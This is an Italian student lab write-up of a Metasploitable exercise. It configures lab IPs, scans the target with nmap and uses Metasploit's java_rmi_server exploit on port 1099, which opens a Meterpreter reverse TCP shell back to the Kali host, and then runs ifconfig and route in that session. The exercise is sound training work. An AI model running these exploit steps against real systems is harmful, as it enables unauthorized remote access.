Consegna S7-L5

exploit su metasploitable

```
zsh: corrupt history file /home/kali/.zsh_history
┌──(kali㉿kali)-[~]
└─$ sudo nano /etc/network/interfaces
```

```
auto eth0
iface eth0 inet static
address 192.168.11.112
netmask 255.255.255.0
network 192.168.11.0
broadcast 192.168.11.255
gateway 192.168.11.1
```

```
auto eth0
iface eth0 inet static
address 192.168.11.111/24
gateway 192.168.11.1
```

```
└─$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=0.560 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.405 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.679 ms
^C
```

Come prima cosa andiamo a settare il nostro laboratorio cambiando ip, sia su macchina kali che su macchina metasploitable usando il comando “sudo nano /etc/network/interfaces” una volta impostato verifichiamo che ci sia comunicazione tra le due macchine

```
msfadmin@metasploitable:~$ ping 192.168.11.111
PING 192.168.11.111 (192.168.11.111) 56(84) bytes of data.
64 bytes from 192.168.11.111: icmp_seq=1 ttl=64 time=0.391 ms
64 bytes from 192.168.11.111: icmp_seq=2 ttl=64 time=0.324 ms
64 bytes from 192.168.11.111: icmp_seq=3 ttl=64 time=0.306 ms
```

```
┌──(kali㉿kali)-
└─$ msfconsole
```

```
msf6 > search java_RMI
```

```
msf6 > search java_RMI

Matching Modules
================

   #  Name                                      Disclosure Date  Rank
  Check  Description
   -  ----                                      ---------------  ----
  -----  -----------
   0  auxiliary/gather/java_rmi_registry                         normal
  No     Java RMI Registry Interfaces Enumeration
   1  exploit/multi/misc/java_rmi_server        2011-10-15       excellent
  Yes    Java RMI Server Insecure Default Configuration Java Code Execution
```

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-
Nmap scan report for 192.168.11.112
Host is up (0.000068s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protoco
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKG
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKG
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login?
514/tcp  open  shell       Netkit rshd
1099/tcp open  java-rmi    GNU Classpath grmiregistry
```

il primo step e' quello di eseguire una scansione nmap sulla macchina target, possiamo vedere che la porta 1099 e' aperta andiamo dunque ad avviare metasploit con "msfconsole" e subito dopo cerchiamo l'exploit a noi congeniale tramite "search java_rmi". Nel nostro caso andremo ad usare l' exploit uno in quando ha una configurazione di default

procediamo impostando l'exploit 1 con "use 1" e lanciamo un "show options" per verificare i parametri. una volta impostato l' RHOST con "set RHOST ip macchina target" avviamo l'exploit

```
msf6 > use 1
[*] No payload configured, defaulting to java/met
msf6 exploit(multi/misc/java_rmi_server) >
```

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/FefAu7fKdA
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57692 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:469

meterpreter >
```

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait f
                                         or the payload request
   RHOSTS                      yes       The target host(s), see https://docs.
                                         metasploit.com/docs/using-metasploit/
                                         basics/using-metasploit.html
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface t
                                         o listen on. This must be an address
                                         on the local machine or 0.0.0.0 to li
                                         sten on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connection
                                         s
   SSLCert                     no        Path to a custom SSL certificate (def
                                         ault is randomly generated)
   URIPATH                     no        The URI to use for this exploit (defa
                                         ult is random)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.11.111   yes       The listen address (an interface may be s
                                     pecified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)
```

```
Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table
```

come ultimo step eseguiamo il comando "help" per trovare i comandi a noi utili su meterpreter, andremo quindi ad eseguire "ifconfig" e "route" entrambi presenti nella sezione networking commands. Il primo ci mostrerà le interfacce di rete mentre il secondo le informazioni sulla tabella di routing.

```
meterpreter > ifconfig

Interface  1
============
Name         : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::


Interface  2
============
Name         : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe3a:fb38
IPv6 Netmask : ::

meterpreter >
```

```
meterpreter > route

IPv4 network routes
===================

    Subnet          Netmask        Gateway  Metric  Interface
    ------          -------        -------  ------  ---------
    127.0.0.1       255.0.0.0      0.0.0.0
    192.168.11.112  255.255.255.0  0.0.0.0


IPv6 network routes
===================

    Subnet                  Netmask  Gateway  Metric  Interface
    ------                  -------  -------  ------  ---------
    ::1                     ::       ::
    fe80::a00:27ff:fe3a:fb38  ::       ::
meterpreter >
```